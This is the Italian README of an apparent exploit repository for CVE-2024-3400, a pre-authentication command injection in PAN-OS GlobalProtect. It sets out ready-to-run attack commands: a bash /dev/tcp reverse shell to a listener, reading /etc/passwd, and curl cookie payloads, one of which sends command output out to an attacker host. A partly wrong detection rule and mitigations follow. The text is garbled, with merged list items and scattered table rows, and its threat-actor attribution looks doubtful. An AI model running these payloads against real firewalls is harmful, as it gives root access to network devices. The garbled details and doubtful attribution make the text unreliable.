
Riproduzione di cve-2024-3400-panos_rce_reproduction
CVSS 10.0 CRITICO | CWE-78: Iniezione di Comandi del Sistema Operativo | Sfruttato Massicciamente nel Mondo Reale
CVE-2024-3400 è una vulnerabilità di iniezione di comandi pre-autenticazione nelle interfacce del portale e del gateway GlobalProtect di Palo Alto Networks PAN-OS. La vulnerabilità consente a un attaccante non autenticato di eseguire comandi arbitrari con privilegi di root sul firewall interessato.
La vulnerabilità risiede nella gestione dei cookie di sessione del componente portale e gateway GlobalProtect. La funzione responsabile dell'elaborazione del cookie SESSID non sanifica correttamente l'input fornito dall'utente prima di passarlo a un comando shell.
Nello specifico, una richiesta HTTP non autenticata all'endpoint del portale GlobalProtect (/global-protect/login.esp) con un cookie SESSID appositamente costruito contenente metacaratteri di shell incorporati (backtick ed espansione di variabili) provoca l'iniezione di comandi.
Il percorso di codice vulnerabile opera come segue:
/global-protect/login.espSESSID viene estratto senza sanificazionesystem() o una funzione simile di esecuzione di comandi del sistema operativoIl payload di iniezione utilizza comandi delimitati da backtick all'interno del cookie SESSID:
SESSID=/../../../opt/panlogs/tmp/device_telemetry/`COMMAND`.py
Il path traversal (/../../../) esce dalla directory prevista e la parte COMMAND racchiusa tra backtick fa sì che la shell esegua l'input dell'attaccante. È possibile utilizzare meccanismi di redirezione dell'output o reverse shell per esfiltrare i risultati dei comandi.
| Versione PAN-OS | Interessate | Corretta in |
|---|---|---|
| 10.2.x | < 10.2.4-h16, < 10.2.5-h6, < 10.2.6-h3, < 10.2.7-h8, < 10.2.8-h3, < 10.2.9-h1 | 10.2.4-h16 / 10.2.5-h6 / 10.2.6-h3 / 10.2.7-h8 / 10.2.8-h3 / 10.2.9-h1 |
Nota: PAN-OS 9.x e versioni precedenti non sono interessate. Cloud NGFW e Prisma Access non sono interessati.
UNC4554 / Midnight Blizzard (APT29) è stato osservato mentre sfruttava CVE-2024-3400 come 0-day a partire da marzo 2024. Volexity ha pubblicato la propria analisi il 12 aprile 2024. I modelli di attacco includevano:
Sono stati rilasciati molteplici PoC pubblici. Questo repository fornisce un exploit funzionante per test autorizzati.
requestspip install requests
python exploit.py --target https://vulnerable-firewall.example.com --command "id"
# Start listener on attacker machine
nc -lvnp 4444
# Execute reverse shell
python exploit.py --target https://vuln-panos.example.com \
--command "bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'"
python exploit.py --target https://vuln-panos.example.com --command "cat /etc/passwd"
# Basic command execution test
curl -k --cookie "SESSID=/../../../opt/panlogs/tmp/device_telemetry/\`id\`.py" \
'https://target/global-protect/login.esp'
# Command output capture via DNS exfiltration
curl -k --cookie "SESSID=/../../../opt/panlogs/tmp/device_telemetry/\`wget -O- http://attacker/$(id|base64)\`.py" \
'https://target/global-protect/login.esp'
Consulta exploit.py in questo repository per un exploit Python completo che supporta:
/global-protect/login.esp con cookie SESSID insolitamente lunghi o sospetti/../../) combinate con caratteri backtick/opt/panlogs/tmp/device_telemetry/ con estensione .pytitle: CVE-2024-3400 PAN-OS GlobalProtect Command Injection
status: stable
logsource:
category: webserver
detection:
selection:
cs-uri-query: "/global-protocol/login.esp"
cs-cookie|contains:
- "../"
- "`"
condition: selection
set deviceconfig system telemetry disable yes (blocca il percorso di codice vulnerabile senza richiedere un riavvio)/opt/panlogs/tmp/device_telemetry/SESSIDApplicare l'hotfix fornito da Palo Alto Networks. La correzione sanifica correttamente l'input del cookie prima della costruzione del comando shell.
Se sospetti uno sfruttamento:
Questo repository è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi. Lo sfruttamento non autorizzato di questa vulnerabilità è illegale. Gli autori non sono responsabili dell'uso improprio di queste informazioni. Assicurati sempre di avere un'autorizzazione scritta esplicita prima di testare qualsiasi sistema.
Licenza MIT - Questo contenuto è fornito per ricerca di sicurezza difensiva e test autorizzati.
| 11.0.x |
| < 11.0.1-h10, < 11.0.2-h4, < 11.0.3-h10 |
| 11.0.1-h10 / 11.0.2-h4 / 11.0.3-h10 |
| 11.1.x | < 11.1.1-h3 | 11.1.1-h3 |
| Fonte | Link |
|---|